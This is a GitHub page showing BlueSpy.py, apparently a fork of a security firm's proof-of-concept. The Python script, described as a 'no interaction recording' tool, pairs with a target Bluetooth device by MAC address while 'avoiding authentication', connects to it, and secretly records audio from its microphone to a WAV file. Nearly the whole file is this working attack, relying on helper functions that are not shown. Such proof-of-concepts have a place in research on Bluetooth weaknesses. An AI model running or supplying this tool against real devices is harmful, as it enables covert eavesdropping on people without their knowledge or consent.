forked from TarlogicSecurity/BlueSpy
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BlueSpy.py
89 lines (78 loc) · 3.12 KB
/
BlueSpy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
import argparse
from core import connect, BluezTarget, BluezAddressType, pair, record, playback
import time
class bcolors:
HEADER = "\033[34m"
OK_BLUE = "\033[94m"
OK_CYAN = "\033[96m"
OK_GREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
def main():
parser = argparse.ArgumentParser(
prog="No interaction recording",
description="Try to pair to a device, connect to it and record sound without user interaction",
)
parser.add_argument(
"-a",
"--target-address",
help="Target device MAC address",
required=True,
dest="address",
)
parser.add_argument(
"-t",
"--target-address-type",
help="Target device MAC address type",
dest="address_type",
type=lambda t: BluezAddressType[t],
choices=list(BluezAddressType),
default=BluezAddressType.BR_EDR,
)
parser.add_argument(
"-f",
"--file",
help="File to store recorded audio",
dest="outfile",
default="recording.wav",
)
parser.add_argument(
"-s",
"--sink",
help="Sink to play the audio back",
dest="sink",
default="alsa_output.pci-0000_00_05.0.analog-stereo",
)
args = parser.parse_args()
print(f"{bcolors.HEADER}░█▀▄░█░░░█░█░█▀▀░█▀▀░█▀█░█░█░{bcolors.ENDC}")
print(f"{bcolors.HEADER}░█▀▄░█░░░█░█░█▀▀░▀▀█░█▀▀░░█░░{bcolors.ENDC}")
print(f"{bcolors.HEADER}░▀▀░░▀▀▀░▀▀▀░▀▀▀░▀▀▀░▀░░░░▀░░{bcolors.ENDC}")
print(f"{bcolors.HEADER}░▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀░{bcolors.ENDC}")
print(f"Bluetooth audio recording tool by {bcolors.HEADER}Tarlogic{bcolors.ENDC}")
print()
print(
f"[{bcolors.OK_GREEN}I{bcolors.ENDC}] Avoiding authentication with {args.address}..."
)
print(f"[{bcolors.OK_GREEN}I{bcolors.ENDC}] Generating shared key...")
pair(BluezTarget(args.address, args.address_type), verbose=False)
print(f"[{bcolors.WARNING}!{bcolors.ENDC}] Key generated")
print(f"[{bcolors.OK_GREEN}I{bcolors.ENDC}] Establishing connection...")
time.sleep(1)
connect(BluezTarget(args.address, args.address_type), verbose=False)
print(f"[{bcolors.OK_GREEN}I{bcolors.ENDC}] Starting audio recording...")
print(f"[{bcolors.WARNING}!{bcolors.ENDC}] Recording!")
time.sleep(1)
record(BluezTarget(args.address), outfile=args.outfile, verbose=False)
print(f'[{bcolors.WARNING}!{bcolors.ENDC}] Recording stored in "{args.outfile}"')
print(f"[{bcolors.OK_BLUE}?{bcolors.ENDC}] Play audio back? ")
option = input("[Y/n] ") or "y"
if option.lower() in ("y", "yes"):
print(f"[{bcolors.WARNING}!{bcolors.ENDC}] Playing audio back!")
playback(args.sink, args.outfile, verbose=False)
print(f"[{bcolors.OK_GREEN}I{bcolors.ENDC}] Exiting")
if __name__ == "__main__":
main()